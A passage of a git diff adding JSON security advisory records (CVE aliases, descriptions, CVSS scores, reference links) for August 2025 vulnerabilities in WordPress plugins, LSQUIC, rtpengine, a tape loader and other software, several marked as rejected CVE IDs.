+ "details": "The Stratum – Elementor Widgets plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Advanced Google Maps and Image Hotspot widgets in all versions up to, and including, 1.6.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7845"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/stratum/tags/1.6.0/includes/templates/image-hotspot.php"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/changeset/3335410"
+ },
+ {
+ "type": "WEB",
+ "url": "https://wordpress.org/plugins/stratum/#developers"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a8d9f6ba-1c41-4933-8eb2-8f27b9e87574?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T05:15:37Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-5gj2-4cr8-42fj/GHSA-5gj2-4cr8-42fj.json b/advisories/unreviewed/2025/08/GHSA-5gj2-4cr8-42fj/GHSA-5gj2-4cr8-42fj.json
new file mode 100644
index 0000000000000..a0842a43fe8b6
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-5gj2-4cr8-42fj/GHSA-5gj2-4cr8-42fj.json
@@ -0,0 +1,25 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-5gj2-4cr8-42fj",
+ "modified": "2025-08-01T06:31:35Z",
+ "published": "2025-08-01T06:31:35Z",
+ "aliases": [
+ "CVE-2025-54841"
+ ],
+ "details": "Rejected reason: Not used",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54841"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T04:16:18Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-5wwq-32rw-q57q/GHSA-5wwq-32rw-q57q.json b/advisories/unreviewed/2025/08/GHSA-5wwq-32rw-q57q/GHSA-5wwq-32rw-q57q.json
new file mode 100644
index 0000000000000..21a1c0e93c27d
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-5wwq-32rw-q57q/GHSA-5wwq-32rw-q57q.json
@@ -0,0 +1,25 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-5wwq-32rw-q57q",
+ "modified": "2025-08-01T06:31:36Z",
+ "published": "2025-08-01T06:31:36Z",
+ "aliases": [
+ "CVE-2025-54845"
+ ],
+ "details": "Rejected reason: Not used",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54845"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T04:16:20Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-77fc-r534-vggp/GHSA-77fc-r534-vggp.json b/advisories/unreviewed/2025/08/GHSA-77fc-r534-vggp/GHSA-77fc-r534-vggp.json
new file mode 100644
index 0000000000000..a0856b8c41428
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-77fc-r534-vggp/GHSA-77fc-r534-vggp.json
@@ -0,0 +1,29 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-77fc-r534-vggp",
+ "modified": "2025-08-01T06:31:37Z",
+ "published": "2025-08-01T06:31:37Z",
+ "aliases": [
+ "CVE-2025-5921"
+ ],
+ "details": "The SureForms WordPress plugin before 1.7.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against both authenticated and unauthenticated users.",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5921"
+ },
+ {
+ "type": "WEB",
+ "url": "https://wpscan.com/vulnerability/052fb6cf-274e-468b-a7e0-0e7a1751ec75"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T06:15:29Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-839r-7hhg-xhqr/GHSA-839r-7hhg-xhqr.json b/advisories/unreviewed/2025/08/GHSA-839r-7hhg-xhqr/GHSA-839r-7hhg-xhqr.json
new file mode 100644
index 0000000000000..0e0cbb979f12a
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-839r-7hhg-xhqr/GHSA-839r-7hhg-xhqr.json
@@ -0,0 +1,40 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-839r-7hhg-xhqr",
+ "modified": "2025-08-01T06:31:37Z",
+ "published": "2025-08-01T06:31:37Z",
+ "aliases": [
+ "CVE-2025-54939"
+ ],
+ "details": "LiteSpeed QUIC (LSQUIC) Library before 4.3.1 has an lsquic_engine_packet_in memory leak.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54939"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/litespeedtech/lsquic/commit/4cd9252e77fb4a36b572e2167a84067d603d3b23"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/litespeedtech/lsquic/blob/70486141724f85e97b08f510673e29f399bbae8f/CHANGELOG#L1-L3"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-770"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T06:15:28Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-92q8-hhvh-7wgw/GHSA-92q8-hhvh-7wgw.json b/advisories/unreviewed/2025/08/GHSA-92q8-hhvh-7wgw/GHSA-92q8-hhvh-7wgw.json
new file mode 100644
index 0000000000000..f659828a6f7d9
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-92q8-hhvh-7wgw/GHSA-92q8-hhvh-7wgw.json
@@ -0,0 +1,25 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-92q8-hhvh-7wgw",
+ "modified": "2025-08-01T06:31:36Z",
+ "published": "2025-08-01T06:31:36Z",
+ "aliases": [
+ "CVE-2025-54847"
+ ],
+ "details": "Rejected reason: Not used",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54847"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T04:16:21Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-953m-q75r-54mh/GHSA-953m-q75r-54mh.json b/advisories/unreviewed/2025/08/GHSA-953m-q75r-54mh/GHSA-953m-q75r-54mh.json
new file mode 100644
index 0000000000000..f357b9082d909
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-953m-q75r-54mh/GHSA-953m-q75r-54mh.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-953m-q75r-54mh",
+ "modified": "2025-08-01T06:31:34Z",
+ "published": "2025-08-01T06:31:34Z",
+ "aliases": [
+ "CVE-2019-19145"
+ ],
+ "details": "Quantum SuperLoader 3 V94.0 005E.0h devices allow attackers to access the hardcoded fa account because there are only 65536 possible passwords.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19145"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/atredispartners/advisories/blob/master/ATREDIS-2019-0005.md"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.dell.com/community/PowerVault/PowerVault-124T-Username-Password/td-p/3004075"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.quantum.com/en/products/tape-storage/superloader-3"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-521"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T04:16:11Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-9m93-62q8-9jmx/GHSA-9m93-62q8-9jmx.json b/advisories/unreviewed/2025/08/GHSA-9m93-62q8-9jmx/GHSA-9m93-62q8-9jmx.json
new file mode 100644
index 0000000000000..bd6beeb52917e
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-9m93-62q8-9jmx/GHSA-9m93-62q8-9jmx.json
@@ -0,0 +1,48 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-9m93-62q8-9jmx",
+ "modified": "2025-08-01T06:31:34Z",
+ "published": "2025-08-01T06:31:34Z",
+ "aliases": [
+ "CVE-2025-53399"
+ ],
+ "details": "In Sipwise rtpengine before 13.4.1.1, an origin-validation error in the endpoint-learning logic of the media-relay core allows remote attackers to inject or intercept RTP/SRTP media streams via RTP packets (except when the relay is configured for strict source and learning disabled). Version 13.4.1.1 fixes the heuristic mode by limiting exposure to the first five packets, and introduces a recrypt flag that fully prevents SRTP attacks when both mitigations are enabled.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53399"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/EnableSecurity/advisories/tree/master/ES2025-01-rtpengine-improper-behavior-bleed-inject"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/sipwise/rtpengine/commits/rfuchs/security"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/sipwise/rtpengine/releases/tag/mr13.4.1.1"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.openwall.com/lists/oss-security/2025/07/31/1"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-346"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T04:16:16Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-c3q9-524g-cc66/GHSA-c3q9-524g-cc66.json b/advisories/unreviewed/2025/08/GHSA-c3q9-524g-cc66/GHSA-c3q9-524g-cc66.json
new file mode 100644
index 0000000000000..1c0cf6e9571e2
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-c3q9-524g-cc66/GHSA-c3q9-524g-cc66.json
@@ -0,0 +1,25 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-c3q9-524g-cc66",
+ "modified": "2025-08-01T06:31:35Z",
+ "published": "2025-08-01T06:31:35Z",
+ "aliases": [
+ "CVE-2025-54839"
+ ],
+ "details": "Rejected reason: Not used",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54839"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T04:16:18Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-c85j-rwrh-2gg7/GHSA-c85j-rwrh-2gg7.json b/advisories/unreviewed/2025/08/GHSA-c85j-rwrh-2gg7/GHSA-c85j-rwrh-2gg7.json
new file mode 100644
index 0000000000000..91726df679797
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-c85j-rwrh-2gg7/GHSA-c85j-rwrh-2gg7.json
@@ -0,0 +1,25 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-c85j-rwrh-2gg7",
+ "modified": "2025-08-01T06:31:35Z",
+ "published": "2025-08-01T06:31:35Z",
+ "aliases": [
+ "CVE-2025-54840"
+ ],
+ "details": "Rejected reason: Not used",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54840"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T04:16:18Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-cx49-pj9h-5v3x/GHSA-cx49-pj9h-5v3x.json b/advisories/unreviewed/2025/08/GHSA-cx49-pj9h-5v3x/GHSA-cx49-pj9h-5v3x.json
new file mode 100644
index 0000000000000..59f0b75af2001
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-cx49-pj9h-5v3x/GHSA-cx49-pj9h-5v3x.json
@@ -0,0 +1,25 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-cx49-pj9h-5v3x",
+ "modified": "2025-08-01T06:31:36Z",
+ "published": "2025-08-01T06:31:36Z",
+ "aliases": [
+ "CVE-2025-54844"
+ ],
+ "details": "Rejected reason: Not used",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54844"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T04:16:19Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-gjwj-2jpg-rvfj/GHSA-gjwj-2jpg-rvfj.json b/advisories/unreviewed/2025/08/GHSA-gjwj-2jpg-rvfj/GHSA-gjwj-2jpg-rvfj.json
new file mode 100644
index 0000000000000..670bd4a8d2445
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-gjwj-2jpg-rvfj/GHSA-gjwj-2jpg-rvfj.json
@@ -0,0 +1,56 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-gjwj-2jpg-rvfj",
+ "modified": "2025-08-01T06:31:37Z",
+ "published": "2025-08-01T06:31:37Z",
+ "aliases": [
+ "CVE-2025-8433"
+ ],
+ "details": "A vulnerability was found in code-projects Document Management System 1.0 and classified as critical. This issue affects the function unlink of the file /dell.php. The manipulation of the argument ID leads to path traversal. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8433"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/i-Corner/cve/issues/14"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318461"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318461"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.625532"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-22"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T04:16:22Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-hvx5-p2cq-7pwr/GHSA-hvx5-p2cq-7pwr.json b/advisories/unreviewed/2025/08/GHSA-hvx5-p2cq-7pwr/GHSA-hvx5-p2cq-7pwr.json
new file mode 100644
index 0000000000000..57282531afd49
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-hvx5-p2cq-7pwr/GHSA-hvx5-p2cq-7pwr.json
@@ -0,0 +1,52 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-hvx5-p2cq-7pwr",
+ "modified": "2025-08-01T06:31:38Z",
+ "published": "2025-08-01T06:31:38Z",
+ "aliases": [
+ "CVE-2025-8436"
+ ],
+ "details": "A vulnerability was found in projectworlds Online Admission System 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /viewdoc.php. The manipulation of the argument ID leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8436"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/Sunhaobin318/CVE/issues/2"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318464"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318464"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.625554"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-74"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T06:15:29Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-j35f-m58q-8w24/GHSA-j35f-m58q-8w24.json b/advisories/unreviewed/2025/08/GHSA-j35f-m58q-8w24/GHSA-j35f-m58q-8w24.json
new file mode 100644
index 0000000000000..c8ad10cea8014
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-j35f-m58q-8w24/GHSA-j35f-m58q-8w24.json
@@ -0,0 +1,25 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-j35f-m58q-8w24",
+ "modified": "2025-08-01T06:31:35Z",
+ "published": "2025-08-01T06:31:35Z",
+ "aliases": [
+ "CVE-2025-54657"
+ ],
+ "details": "Rejected reason: Not used",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54657"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T04:16:18Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-m9c2-6frp-5rqq/GHSA-m9c2-6frp-5rqq.json b/advisories/unreviewed/2025/08/GHSA-m9c2-6frp-5rqq/GHSA-m9c2-6frp-5rqq.json
new file mode 100644
index 0000000000000..139e54613d6dc
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-m9c2-6frp-5rqq/GHSA-m9c2-6frp-5rqq.json
@@ -0,0 +1,40 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-m9c2-6frp-5rqq",
+ "modified": "2025-08-01T06:31:37Z",
+ "published": "2025-08-01T06:31:37Z",
+ "aliases": [
+ "CVE-2025-7725"
+ ],
+ "details": "The Photos, Files, YouTube, Twitter, Instagram, TikTok, Ecommerce Contest Gallery – Upload, Vote, Sell via PayPal or Stripe, Social Share Buttons, OpenAI plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the comment feature in all versions up to, and including, 26.1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7725"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3334370%40contest-gallery%2Ftrunk&old=3333852%40contest-gallery%2Ftrunk&sfp_email=&sfph_mail="
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/18003103-3a14-4cbc-8bed-87a8ab050308?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T05:15:36Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-mw9f-f52p-chpp/GHSA-mw9f-f52p-chpp.json b/advisories/unreviewed/2025/08/GHSA-mw9f-f52p-chpp/GHSA-mw9f-f52p-chpp.json
new file mode 100644
index 0000000000000..559e6752382db
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-mw9f-f52p-chpp/GHSA-mw9f-f52p-chpp.json
@@ -0,0 +1,29 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-mw9f-f52p-chpp",
+ "modified": "2025-08-01T06:31:37Z",
+ "published": "2025-08-01T06:31:37Z",
+ "aliases": [
+ "CVE-2025-8454"
+ ],
+ "details": "It was discovered that uscan, a tool to scan/watch upstream sources for new releases of software, included in devscripts (a collection of scripts to make the life of a Debian Package maintainer easier), skips OpenPGP verification for files already downloaded even if a previous verification did fail.",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8454"
+ },
+ {
+ "type": "WEB",
+ "url": "https://bugs.debian.org/1109251"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T06:15:29Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-p8qf-v424-747v/GHSA-p8qf-v424-747v.json b/advisories/unreviewed/2025/08/GHSA-p8qf-v424-747v/GHSA-p8qf-v424-747v.json
new file mode 100644
index 0000000000000..173faf42144e3
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-p8qf-v424-747v/GHSA-p8qf-v424-747v.json
@@ -0,0 +1,25 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-p8qf-v424-747v",
+ "modified": "2025-08-01T06:31:36Z",
+ "published": "2025-08-01T06:31:36Z",
+ "aliases": [
+ "CVE-2025-54842"
+ ],
+ "details": "Rejected reason: Not used",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54842"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T04:16:19Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-vg7v-jh28-wqc4/GHSA-vg7v-jh28-wqc4.json b/advisories/unreviewed/2025/08/GHSA-vg7v-jh28-wqc4/GHSA-vg7v-jh28-wqc4.json
new file mode 100644
index 0000000000000..d65d62f2c1914
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-vg7v-jh28-wqc4/GHSA-vg7v-jh28-wqc4.json
@@ -0,0 +1,52 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-vg7v-jh28-wqc4",
+ "modified": "2025-08-01T06:31:37Z",
+ "published": "2025-08-01T06:31:37Z",
+ "aliases": [
+ "CVE-2025-4523"
+ ],
+ "details": "The IDonate – Blood Donation, Request And Donor Management System plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the admin_donor_profile_view() function in versions 2.0.0 to 2.1.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to expose an administrator’s username, email address, and all donor fields.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4523"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/idonate/tags/2.1.9/src/Admin/Admin.php#L76"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/browser/idonate/tags/2.1.9/src/Helpers/IDonateAjaxHandler.php#L48"
+ },
+ {
+ "type": "WEB",
+ "url": "https://plugins.trac.wordpress.org/changeset/3334424"
+ },
+ {
+ "type": "WEB",
+ "url": "https://wordpress.org/plugins/idonate/#developers"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5fe7668b-9d70-44b7-a347-3922c0b8684c?source=cve"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-200"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T05:15:36Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-w385-9f6g-63qc/GHSA-w385-9f6g-63qc.json b/advisories/unreviewed/2025/08/GHSA-w385-9f6g-63qc/GHSA-w385-9f6g-63qc.json
new file mode 100644
index 0000000000000..66f23c68f42cc
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-w385-9f6g-63qc/GHSA-w385-9f6g-63qc.json
@@ -0,0 +1,34 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-w385-9f6g-63qc",
+ "modified": "2025-08-01T06:31:37Z",
+ "published": "2025-08-01T06:31:37Z",
+ "aliases": [
+ "CVE-2025-31716"
+ ],
+ "details": "In bootloader, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31716"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.unisoc.com/en_us/secy/announcementDetail/1951157990262374401"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T06:15:28Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-w653-5cx5-9pff/GHSA-w653-5cx5-9pff.json b/advisories/unreviewed/2025/08/GHSA-w653-5cx5-9pff/GHSA-w653-5cx5-9pff.json
new file mode 100644
index 0000000000000..8bf090c71e417
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-w653-5cx5-9pff/GHSA-w653-5cx5-9pff.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-w653-5cx5-9pff",
+ "modified": "2025-08-01T06:31:37Z",
+ "published": "2025-08-01T06:31:37Z",
+ "aliases": [
+ "CVE-2025-7443"
+ ],
